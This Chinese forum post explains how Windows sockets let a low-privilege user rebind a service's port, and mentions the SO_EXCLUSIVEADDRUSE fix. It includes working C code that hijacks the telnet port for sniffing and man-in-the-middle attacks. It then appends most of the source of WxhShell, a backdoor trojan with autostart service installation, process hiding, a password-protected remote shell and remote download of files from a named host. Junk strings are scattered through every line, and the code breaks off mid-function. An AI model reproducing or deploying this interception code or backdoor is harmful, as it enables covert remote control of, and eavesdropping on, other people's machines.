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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !>-cMI6E  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v0|A N  
-0PT(gx  
  saddr.sin_family = AF_INET; ~YOwg\w^  
;! &A  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5Fm.] /  
jNB|98NN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  db^S@}  
DCM ,|FE  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *W,"UL6U8y  
E~_2Jf\U  
  这意味着什么?意味着可以进行如下的攻击: )6iY9[@tN  
n;Tpf<*U  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 x)l}d3   
s;X"E =  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1Vt7[L*  
_ 0%sYkUc  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5j1}?0v_  
ii0AhQ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  q$e2x=?  
EcrM`E#kaZ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 V"(S<o  
$q]((@i.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {M U>5\  
.2/(G{}U  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -fuSCj  
k'}}eu/ q  
  #include sXOGIv  
  #include 7g_:Gv~v  
  #include ?JDZDPVJ)  
  #include    !YSAQi;I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NqvL,~1G  
  int main() H7?C>+ay  
  { RVy8%[Gcq  
  WORD wVersionRequested; bwUsE U 0  
  DWORD ret; [>::@[  
  WSADATA wsaData; _aL:XKM  
  BOOL val; |;ycEB1  
  SOCKADDR_IN saddr; :XcU@m  
  SOCKADDR_IN scaddr; 9d^o2Y o  
  int err; #ebT$hf30  
  SOCKET s; @FIR9XJ  
  SOCKET sc; Bu">)AnN  
  int caddsize; T!eeMsI  
  HANDLE mt; D`0II=  
  DWORD tid;   5c($3Pno=  
  wVersionRequested = MAKEWORD( 2, 2 ); ?Q;8D@   
  err = WSAStartup( wVersionRequested, &wsaData ); N_Cu%HP  
  if ( err != 0 ) { {uh]b (}s)  
  printf("error!WSAStartup failed!\n"); b+yoD  
  return -1; J/8aDr (+  
  } -MOPm]iA  
  saddr.sin_family = AF_INET; rBa <s  
   kc^ Q ?-?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,,S5 8\x  
'W usEME  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); sh[Yu  
  saddr.sin_port = htons(23); \Xc6K!HJM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {EGiGwpf  
  { %ribxgmd  
  printf("error!socket failed!\n"); , fFB.q"  
  return -1; hc2[,Hju{O  
  } T5.1qrL  
  val = TRUE; GiJ|5"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 / *xP`'T  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) JVf8KHDj  
  { `DIIJ<;g  
  printf("error!setsockopt failed!\n"); ^-c j=on=Q  
  return -1; hNmC(saMGm  
  } A U9Y0<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &}@U#w]l  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 JDfkm+}uY  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |4aV~n[>#  
~V[pu  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %sP C3L  
  { zg+78  
  ret=GetLastError(); N[d*_KN.!  
  printf("error!bind failed!\n"); YpoO:  
  return -1; EWNh:<F?  
  } zm) ]cq  
  listen(s,2); db$Th=s[  
  while(1) zvYkWaa_Qz  
  { xu(5U`K  
  caddsize = sizeof(scaddr); A-1Wn^,> *  
  //接受连接请求 F2]v]]F!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K#H}=Y A  
  if(sc!=INVALID_SOCKET) :&}(?=<R}L  
  { 7S LJLn3d  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ac'[(  
  if(mt==NULL) I8@NQ=UV0  
  { &1YqPk  
  printf("Thread Creat Failed!\n"); PN[ `p1F  
  break; 1%Xwk2l,8b  
  } uFOxb}a9v  
  } fs+l  
  CloseHandle(mt); (xpj?zlmM  
  } =`[08  
  closesocket(s); =Ig'Aw$x  
  WSACleanup(); ^5j|   
  return 0; mv|eEz)r  
  }   W!8g.r4u+,  
  DWORD WINAPI ClientThread(LPVOID lpParam) akHcN]sa2  
  { oGx OJyD  
  SOCKET ss = (SOCKET)lpParam; _R<eWp  
  SOCKET sc; ewg&DBbN"  
  unsigned char buf[4096]; B =@BYqiY  
  SOCKADDR_IN saddr; L22GOa0  
  long num; H|k!5W^  
  DWORD val; 9%WUh-|'p  
  DWORD ret; EGL1[7It`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ojU:RRr4l$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~Z!!wDHS  
  saddr.sin_family = AF_INET; }UJS*mR  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); p0~=   
  saddr.sin_port = htons(23); 9YRoWb{y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w~+5FSdH  
  { T#xCu|5  
  printf("error!socket failed!\n"); k v1q \  
  return -1; #\KSv Z  
  } Q*}#?g  
  val = 100; 5A/8G}'XZ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EKoAIC*?p  
  { ac"Pn? q  
  ret = GetLastError(); VXXo\LQUU  
  return -1; l|z 'Lwwm5  
  } %5 V!Fdb  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ['ol]ZJ  
  { $Nvt:X_  
  ret = GetLastError(); y E-H-r~I  
  return -1; 8Kt_irD  
  } ^IGutZov  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #Ki(9oWd  
  { lMz5))Rr  
  printf("error!socket connect failed!\n"); WV}<6r$e  
  closesocket(sc); u,e'5,`N  
  closesocket(ss); _Qg^>}]A1  
  return -1; qOYCQ  
  } rStfluPL  
  while(1) l[lUmE  
  { yPrp:%PS  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 UOHU 1.3$T  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 rU<NHFGj4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s'' ?: +  
  num = recv(ss,buf,4096,0); h1@|UxaE#  
  if(num>0) }[XzM /t  
  send(sc,buf,num,0); k<RJSK8  
  else if(num==0) .WM0x{t/  
  break; w^MU$ubx  
  num = recv(sc,buf,4096,0); }MAQhXI^O|  
  if(num>0) ufAp 7m@ud  
  send(ss,buf,num,0); =<w6yeko  
  else if(num==0) d!kiWmw,  
  break; 6, \i0y5n  
  } JR{3n*  
  closesocket(ss); <Z5ak4P  
  closesocket(sc); KD?~ hpg  
  return 0 ; `l,=iy$  
  } @Aa$k:_  
!]1X0wo\  
k_%2Ok   
========================================================== b);Pw"_2  
RaT(^b(  
下边附上一个代码,,WXhSHELL n B4)%  
y;Xb." e~  
========================================================== sPY *2B  
n ^P=a'+  
#include "stdafx.h" \hN\px  
%}jwuNGA  
#include <stdio.h> 9k8ftxB^  
#include <string.h> -BUxQ8/,  
#include <windows.h> x)0g31 4 9  
#include <winsock2.h> aiVd^(  
#include <winsvc.h> q<` YJ,  
#include <urlmon.h> TxAT ))  
&os9K)  
#pragma comment (lib, "Ws2_32.lib") U ^1Xc#Ff  
#pragma comment (lib, "urlmon.lib") ~01 o  
T P'  
#define MAX_USER   100 // 最大客户端连接数 9n{tbabJ  
#define BUF_SOCK   200 // sock buffer hZ2!UW4'  
#define KEY_BUFF   255 // 输入 buffer F{}mlQg  
f1MKYM%^x  
#define REBOOT     0   // 重启 >B(%$jG Z  
#define SHUTDOWN   1   // 关机 !GI*R2<W  
cmgI,n-o?  
#define DEF_PORT   5000 // 监听端口 ?:l3O_U 5  
Awl4*J~  
#define REG_LEN     16   // 注册表键长度 *KNj5>6=  
#define SVC_LEN     80   // NT服务名长度 o`S|  
UwOZBF<  
// 从dll定义API .,zrr&Po  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yoa"21E$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vaL+@Kq~&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (dD+?ZOO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #(& ! ^X3  
usEd p  
// wxhshell配置信息 gQaBQq9  
struct WSCFG { A6ipA /_  
  int ws_port;         // 监听端口 P5s'cPX  
  char ws_passstr[REG_LEN]; // 口令 J'^H@L/E  
  int ws_autoins;       // 安装标记, 1=yes 0=no "?EoYF_  
  char ws_regname[REG_LEN]; // 注册表键名 i? 5jl&30  
  char ws_svcname[REG_LEN]; // 服务名 xCwd*lsM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +c4]}9f!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N*z_rZE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ']1\nJP[=X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q[p+OpA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e! V`cg0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Yqz(@( %  
O="# yE)  
}; E!<w t  
qN((Xz+AZE  
// default Wxhshell configuration .),ql_sXr  
struct WSCFG wscfg={DEF_PORT, 19-|.9m(  
    "xuhuanlingzhe", (|%YyRaX  
    1, = Q|_v}  
    "Wxhshell", u&Q2/Y  
    "Wxhshell", ol]"r5#Q_H  
            "WxhShell Service", v`3q0,,  
    "Wrsky Windows CmdShell Service", %^){Z,}M}  
    "Please Input Your Password: ", P0O5CaR  
  1, OZ 4uk.)  
  "http://www.wrsky.com/wxhshell.exe", g4USKJ19.  
  "Wxhshell.exe" -oc@$*t  
    }; U-/-aNJ]U  
lZoy(kdc  
// 消息定义模块 )]x/MC:9r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sYnf #'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *Pj[r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,b;eU[!]  
char *msg_ws_ext="\n\rExit."; ERcj$ [:T(  
char *msg_ws_end="\n\rQuit."; q#9JJWSs  
char *msg_ws_boot="\n\rReboot..."; >7%Gd-;l  
char *msg_ws_poff="\n\rShutdown..."; :m*r( i3  
char *msg_ws_down="\n\rSave to "; iaXpe]w$n  
MT{7I"  
char *msg_ws_err="\n\rErr!"; oE:9}]N_  
char *msg_ws_ok="\n\rOK!"; j2O?]M  
 d(PS  
char ExeFile[MAX_PATH]; !Ra.DSL  
int nUser = 0; L=Cm0q 3 v  
HANDLE handles[MAX_USER]; UHr0J jQK  
int OsIsNt; H]e%8w))0  
sevaNs  
SERVICE_STATUS       serviceStatus; uNnx i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W*A-CkrO  
DyeV uB  
// 函数声明 }^r=(  
int Install(void); ^M?O  
int Uninstall(void); s))L^|6  
int DownloadFile(char *sURL, SOCKET wsh); U~!yGjF  
int Boot(int flag); I4]|r k9  
void HideProc(void); MZp`  
int GetOsVer(void); >C,=elM  
int Wxhshell(SOCKET wsl); c%p7?3Ry  
void TalkWithClient(void *cs); b+/XVEsr  
int CmdShell(SOCKET sock); ]pUf[^4  
int StartFromService(void); ,>(/}=Z.  
int StartWxhshell(LPSTR lpCmdLine); r|!w,>.  
CZ2&9Vb9I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S!!i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /H 3u^  
Vs@[="  
// 数据结构和表定义 [@ExR*  
SERVICE_TABLE_ENTRY DispatchTable[] = #$q~ZKB  
{ PDN3=PAR/A  
{wscfg.ws_svcname, NTServiceMain}, xj 6ht/qq  
{NULL, NULL} W 2/`O?  
}; y bWb'+x  
eu!B ,  
// 自我安装 }.md$N_F  
int Install(void) nNuv 0  
{ Ay?;0w0  
  char svExeFile[MAX_PATH]; z'cVq}vl  
  HKEY key; (`S32,=TS  
  strcpy(svExeFile,ExeFile); ! 63>II  
Z"spua5  
// 如果是win9x系统,修改注册表设为自启动 WjfUbKg0  
if(!OsIsNt) { ut26sg{s(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y:|_M3&'o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); piq1cV  
  RegCloseKey(key); T\;7'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6J/"1 _  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jP*5(*[&y  
  RegCloseKey(key); z?o1 6o-:  
  return 0; 1rs`|iX5  
    } 7R9S%  
  } s^5KFK1  
} r\6 "mU  
else { CKJ9YKu{W  
L,!3  
// 如果是NT以上系统,安装为系统服务 Jpi\n- d!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s)_Xj`Q#  
if (schSCManager!=0) ;r(hZ%pD  
{ n _G< /8  
  SC_HANDLE schService = CreateService FPM@%U  
  ( _-^bAr`z  
  schSCManager, )b<-=VR  
  wscfg.ws_svcname, z [xi  
  wscfg.ws_svcdisp, eq^<5 f  
  SERVICE_ALL_ACCESS,  ByP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  Fa  
  SERVICE_AUTO_START, 34Q;& z\e  
  SERVICE_ERROR_NORMAL, 5AmY rXZ  
  svExeFile, tI651Wm9  
  NULL, 5sbMp;ZM  
  NULL, QWt ?` h=  
  NULL, S`,(10Y  
  NULL, ~ Iin|  
  NULL J;Y=o B  
  ); H(qDQqJHYy  
  if (schService!=0) g3B zi6$m  
  { C$MaJHkiF  
  CloseServiceHandle(schService); .xXe *dm%  
  CloseServiceHandle(schSCManager); }9n{E-bj*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ex_Zw+n  
  strcat(svExeFile,wscfg.ws_svcname); PnB%vS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i <KWFF#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SM>V o+  
  RegCloseKey(key);  _N`:NOM  
  return 0; :Ny.OA  
    } #=)(t${7'  
  } 4] c.mDo[T  
  CloseServiceHandle(schSCManager); z+ybtS>pZ  
} JZ#O"rF  
} eow6{CD8  
_g+^jR4  
return 1; 2[WH8l+  
} Y02 cX@K6  
-Y]ue*k{  
// 自我卸载 <~:Lp:6 J  
int Uninstall(void) >;@ _TAF  
{ sGx"j a +  
  HKEY key; cID{X&or  
H{*~d+:ol  
if(!OsIsNt) { H,r>@Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w+ZeVZv!r  
  RegDeleteValue(key,wscfg.ws_regname); CA2 ,  
  RegCloseKey(key); q,k/@@Qd9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qTM,'7Rwn  
  RegDeleteValue(key,wscfg.ws_regname); KPGo*mY  
  RegCloseKey(key); SrMg=a  
  return 0; <5qXC.{Cyp  
  } 0@w8,x  
} :r0?[#r?N,  
} )6?(K"T  
else { a]NQlsE}l  
dZnAdlJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P,xI3U< q  
if (schSCManager!=0) T7f>u}T  
{ 9IFK4>&O6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e1'<;;; L  
  if (schService!=0) nSxFz!  
  { l7G&[\~  
  if(DeleteService(schService)!=0) { o&2(xI2  
  CloseServiceHandle(schService); V=!tZ[4z$h  
  CloseServiceHandle(schSCManager); 'J+dTs ;0  
  return 0; Kyy CS>  
  } " S6'<~s  
  CloseServiceHandle(schService); g_ z%L?N  
  } 5mNd5IM  
  CloseServiceHandle(schSCManager); <0,c{e  
} I;dc[m  
} )bc0 t]Fs  
'gYUyl  
return 1; |2mm@):  
} h-B&m:gD_U  
rzC\8Dd  
// 从指定url下载文件 YGVj$\  
int DownloadFile(char *sURL, SOCKET wsh) NP%Y\%;l6  
{ |G.|ocj;  
  HRESULT hr; BElVkb  
char seps[]= "/"; YEGRM$'`  
char *token; BU|=`Kb|))  
char *file; ?#|Y'%a"  
char myURL[MAX_PATH]; (<f`}, QxD  
char myFILE[MAX_PATH]; Y`@:L'j  
<u\j 4<p  
strcpy(myURL,sURL); Gi})*U]P|  
  token=strtok(myURL,seps); %X(iAoxbj  
  while(token!=NULL) 8,0p14I5;  
  { (8C ,"Dc[0  
    file=token; c8qsp n  
  token=strtok(NULL,seps); p|Po##E}g^  
  } [d="94Ab  
FX QUj&9  
GetCurrentDirectory(MAX_PATH,myFILE); t!MGSB~  
strcat(myFILE, "\\"); %u"3&kOV  
strcat(myFILE, file); {(r`&[  
  send(wsh,myFILE,strlen(myFILE),0); > %5<fK2  
send(wsh,"...",3,0); +o]DT7W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E0XfM B]+  
  if(hr==S_OK) b(8#*S!U  
return 0; D/1{v  
else 2y6 e]D  
return 1; octBt`\Of  
Ba$&4?8  
} ?LU]O\p  
{ETuaFDM   
// 系统电源模块 *n $=2v^A  
int Boot(int flag) 2"`R_q  
{ Ogp Zwwk  
  HANDLE hToken; qKX3Npw  
  TOKEN_PRIVILEGES tkp; -ea":}/  
~Rx:X4|H  
  if(OsIsNt) { 1m$:Rn^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o+e:H jZZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); };5d>#NK,Y  
    tkp.PrivilegeCount = 1; ?kfLOJQ:I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QXTl'.SfF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8]U;2H/z  
if(flag==REBOOT) { jqULg iC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V=%j ]`Os  
  return 0; n&V\s0  
} L+s3@ C;b  
else { E! '|FJ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X 4\  
  return 0; &rY73qfP'  
} 'C iV=&3/  
  } 9r,)Bw!RP  
  else { IKT3T_\-I  
if(flag==REBOOT) { $n |)M+d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |X:"AH"S  
  return 0; X wvH  
} eEvE3=,hg  
else { y \M]\^[7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p*F.WxB)4  
  return 0; DEj6 ky  
} @LQe[`  
} !zc?o?~z  
~I'1\1  
return 1; < {1'cx  
} ~\;s}Fv.  
JDi\?m d.  
// win9x进程隐藏模块 _.b^4^[  
void HideProc(void) t= =+SHGP  
{ R(jp  
b^WTX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Bf {h\>q  
  if ( hKernel != NULL ) q~QB?+ x&  
  { s,&tD WU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sFh mp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .UJp#/EHs  
    FreeLibrary(hKernel); 8|FHr,  
  } /CR Z  
QrmiQ]d*p  
return; =1qM`M   
} 2$G,pT1J  
@3T)J,f  
// 获取操作系统版本 NGsG4y^g?z  
int GetOsVer(void) o Ho@rGU  
{ 9|y?jb5im  
  OSVERSIONINFO winfo; pP JhF8Dt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h+,Eu7\88  
  GetVersionEx(&winfo); %kB84dE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z"[}Sk  
  return 1; l_Ee us  
  else (MfPu8j  
  return 0; Qq,w6ekr  
} B.O &KRo  
W|NT*g{;M  
// 客户端句柄模块 a!iG;:K   
int Wxhshell(SOCKET wsl) ){~]-VK  
{ ?]1_ 2\M  
  SOCKET wsh; (e,5 b  
  struct sockaddr_in client; <d&9`e1Hc  
  DWORD myID; E'_3U5U  
?<mxv"  
  while(nUser<MAX_USER) bq+ Q$#F2X  
{ V 4~`yT?*"  
  int nSize=sizeof(client); gaBVD*>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .(D,CGtYb  
  if(wsh==INVALID_SOCKET) return 1; S3cV^CzNg  
S5a?KU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |}hV_   
if(handles[nUser]==0) =\[}@Kh  
  closesocket(wsh); -SF *DZ  
else 2<"kfa n  
  nUser++; J0%e6{C1  
  } #* KmPc+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ze?(N~  
9^D5Sl$g  
  return 0; gHL v zm  
} o \r6 iO  
^)\z  
// 关闭 socket S.i CkX  
void CloseIt(SOCKET wsh) %yr(i 6L  
{ 3b9SyU2  
closesocket(wsh); k;)t}7(  
nUser--; 57nSyd] PR  
ExitThread(0); Y*}xD;c k  
} G]DSwtB?D  
vh29mzum  
// 客户端请求句柄 7Pb: z4j  
void TalkWithClient(void *cs) i.~*G8!DM  
{ fWutB5?P  
#.Q8q  
  SOCKET wsh=(SOCKET)cs; kimqm  
  char pwd[SVC_LEN]; %d%$jF`  
  char cmd[KEY_BUFF]; [pAW':  
char chr[1];  ,m"0Bu2  
int i,j; qFV }Y0w  
`XmT)C  
  while (nUser < MAX_USER) { PPj_NV  
&O&;v|!9  
if(wscfg.ws_passstr) { G; onJ>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G\\0N^v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  xRTr@  
  //ZeroMemory(pwd,KEY_BUFF); Y1=.46Ezf  
      i=0; j B.ZF7q  
  while(i<SVC_LEN) { n#\ t_/\  
KV1/!r+*  
  // 设置超时 b@p3iq:  
  fd_set FdRead; VH>?%aL  
  struct timeval TimeOut; .UdoB`@!v=  
  FD_ZERO(&FdRead); 1I^uq>r  
  FD_SET(wsh,&FdRead); bOvMXj/HV=  
  TimeOut.tv_sec=8; @U)k~z2Hk  
  TimeOut.tv_usec=0; pz uR H1[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @ +iO0?f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v +$3Z5  
:<"b"{X"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *'BA# /@  
  pwd=chr[0]; \H6[6*JuB  
  if(chr[0]==0xd || chr[0]==0xa) { rzk]{W  
  pwd=0; udld[f.  
  break; px7<;(I  
  } 4fuK pLA  
  i++; 7UVhyrl  
    } Iz^lED  
&a/F"?9jL  
  // 如果是非法用户,关闭 socket 9hNHcl.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D on8xk  
} U"0Ts!CABA  
BS(XEmJn&j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @xBw'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M~o\K'  
'K8emt$d+  
while(1) { i!tF{'*%#  
$h)VKW^\  
  ZeroMemory(cmd,KEY_BUFF); I7Uj<a=(q  
K]bw1K K  
      // 自动支持客户端 telnet标准   S2!$  
  j=0; m0$4  
  while(j<KEY_BUFF) { 0/g 0=dW=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )"]Nf6  
  cmd[j]=chr[0]; n#.~XNbxv  
  if(chr[0]==0xa || chr[0]==0xd) { 8*-N@j8  
  cmd[j]=0; Q r n^T  
  break; hU]Gv)B  
  } Y)7LkZO(y  
  j++; uyfH;9L5$  
    } Q^Lk^PP7  
--t5jSS44  
  // 下载文件 .3Ag6YI0N  
  if(strstr(cmd,"http://")) { Z: e|~#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @C=Dk  
  if(DownloadFile(cmd,wsh))  '7j!B1K-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !.^%*6f  
  else ~"t33U6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); faqh }4  
  } (:TZ~"VY  
  else { ;O Td<  
piy_9nk  
    switch(cmd[0]) { ;FI"N@z  
  kCuIEv@  
  // 帮助 LY? `+/  
  case '?': { H:x{qS4Si  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xGU~FU  
    break; iuxS=3lT"K  
  } r^j iK\*  
  // 安装 A=+ |&+? t  
  case 'i': { ,[j'OyR  
    if(Install()) ;`(l)X+7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'T_Vm%\)  
    else Zd Li<1P*d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1638U 1  
    break; HpQuro'Qh  
    } /2&:sHWW  
  // 卸载 chQCl3&e^  
  case 'r': { FVw4BUOmi  
    if(Uninstall()) :v(fgS2\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Ll:Ba Q  
    else ]a ,H!0i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VD).UdUn  
    break; WF!u2E+  
    } Kj+=?R~}S  
  // 显示 wxhshell 所在路径 $vQ#ah/k  
  case 'p': { jJ B+UF=  
    char svExeFile[MAX_PATH]; = MP?aH [  
    strcpy(svExeFile,"\n\r"); ;%/Kh :Vg  
      strcat(svExeFile,ExeFile); b;AGw3SF  
        send(wsh,svExeFile,strlen(svExeFile),0); e 2@{Ab  
    break; i!U,qV1  
    } W-ctx"9DS  
  // 重启 k>ERU]7[  
  case 'b': { pod=|(c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k|-P&g  
    if(Boot(REBOOT)) : K#z~#n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C'a%piX  
    else { p3N/"t&>  
    closesocket(wsh); 6y4&nTq[  
    ExitThread(0); x9NcIa9  
    } T]#S=]G  
    break; <NVSF6`  
    } Uql|32j  
  // 关机 1J tt\yq  
  case 'd': {  r*gQGvc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (/oHj^>3N`  
    if(Boot(SHUTDOWN)) z(yJ/~m  
